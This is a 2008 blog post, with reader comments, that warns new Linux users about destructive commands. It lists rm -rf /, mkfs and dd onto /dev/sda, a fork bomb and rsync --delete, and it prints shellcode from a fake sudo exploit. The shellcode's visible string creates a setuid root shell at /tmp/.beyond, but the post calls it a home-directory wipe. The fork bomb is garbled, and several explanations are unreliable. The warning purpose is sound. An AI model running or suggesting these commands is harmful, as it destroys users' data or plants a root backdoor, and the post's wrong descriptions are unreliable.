Fun with Linux Commands-II – With Power Comes Responsibility
Happy Linux Commanding! But be careful!
The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something’s strength remember what Uncle Ben said.
When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as ps, top, modprobe, lspci etc. Be careful when you run these commands as some Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials.If after following such command(s), you lose all your files, no one is to be blamed but you.
If you want save yourself, here is one principle: Be aware of what you are doing! Just don’t do what someone suggest you. Fireup man page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: Hello I was trying to do this, and a guy from forum.xyz.com suggest me to issue this command. I suspect this is a harmful command. Any suggestions? Take my words, Linux carries a strong spirit with it – spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:
Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn’t know that a folder inside your home directory contains your first girlfriend’s picture! It is your duty to ensure they are safe. Let’s get started. I repeat DON’T ISSUE THESE COMMANDS. If you want to test, I suggest you to run them inside a virtual Linux OS.
1. The king of all devils:
rm -rf /
Q. What does rm do?
A. Removes a file
Q. What is r?
A. Recursion. That means inside a folder, of a folder, of a folder and so on
Q. what is f?
A. Force. It means you are saying to the command “Never ask me anything. Just do what you want to do”
Q. What is /
A. Your ROOT directory!
See what it does? Recursively removes all the files inside your root directory without nagging you – “Should I delete this?”
There are various versions of rm available such as:
rm -rf .
rm -rf *
Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this – you want to delete all the hidden files inside a directory. That’s easy right? Hidden files are denoted with . in front so you might be thinking this command rm - .* Nooooooooooo!!! It will delete all the files one level up of the current directory.
2. How about backing up your home directory or some folders? Never try to do anything such as:
mv /home/yourhomedirectory/* /dev/null
Q. What is mv?
A. Move files
Q. What is dev/null?
A. Null means nothing. In other words, it is a black-hole.
If you issue above command, it will move all the files inside your home directory to a blackhole.
3. Linux Terminal is not a toy to play, it’s something to learn and do some productive things. I just mean to warn you don’t type anything silly and hit enter such as this:
){:|:&};:
Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of!
4. How about making a Linux filesystem?
mkfs.ext3 /dev/sda
You hard disk’s data are gone, and will never come back again. That was a poor farewell party for your documents.
5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming New sudo off-by-one poc exploit? Any sign of devil?
...char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;…
Well this is a hex coded version of rm -rf ~ / & . This does nothing more than wiping off your home directory.
These are only a few guidelines you need to follow. If you know some more, drop them in comments.
If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.
So what did you learn today?
Related posts:
Kinox Says:
rm -rf ~ / & deletes not just your home directory, but the whole root.
Posted on October 25th, 2008 at 7:54 pm
Alan Says:
Thanks for getting the word out. I can add a few more:
– redirecting things into a hard drive, e.g.: cat /dev/zero > /dev/sda
– using dd with a drive or system file as the output, e.g.:
dd if=/dev/random of=/dev/sda
– rsync or any similar copy command that has a delete switch can be used to destroy parts of the filesystem:
rsync -r –delete /tmp /usr
Of course, you can’t know them all, it’s best just to avoid running things you don’t understand from people you can’t trust.
Posted on October 25th, 2008 at 9:18 pm
Willy G Says:
I wish there were a lot more of this information available. simple but useful DON”Ts we need a lot more
Posted on October 26th, 2008 at 9:32 am
Werner Says:
The rm -rf / command serves no purpose. The only reason would be to re-install an operating system and the partitioner would remove the old filesystem. Linux is powerful – but dangerous in this regard. Some kind of safeguard would be a good idea with a command such as this…but then again Linux and other *nixes are not for the totally inexperienced. You need to do you’re homework before playing with these commands.
Posted on October 26th, 2008 at 10:30 am
Tim Bowden Says:
Of course rm -rf / has a purpose. Working in a chroot? Can come in handy if you want to clean it out. There shouldn’t be limits on things like this because that would violate the principle of least surprise for people who /do/ know what they’re doing.
Posted on October 26th, 2008 at 6:30 pm
Raghu Says:
Work as a normal user. Never do your regular work as root.
\rm -rf / does not do any harm if you are a normal user and not root.
Posted on October 28th, 2008 at 8:51 am
Pigpoo Says:
Today, basicly I did “su; cd /; rm -f -d -r *” on my iPhone.
Well… Guess what happened.
Posted on July 9th, 2009 at 1:47 pm
Paul Says:
It didn’t work for me, can you give us some more information?
Posted on September 26th, 2009 at 7:00 pm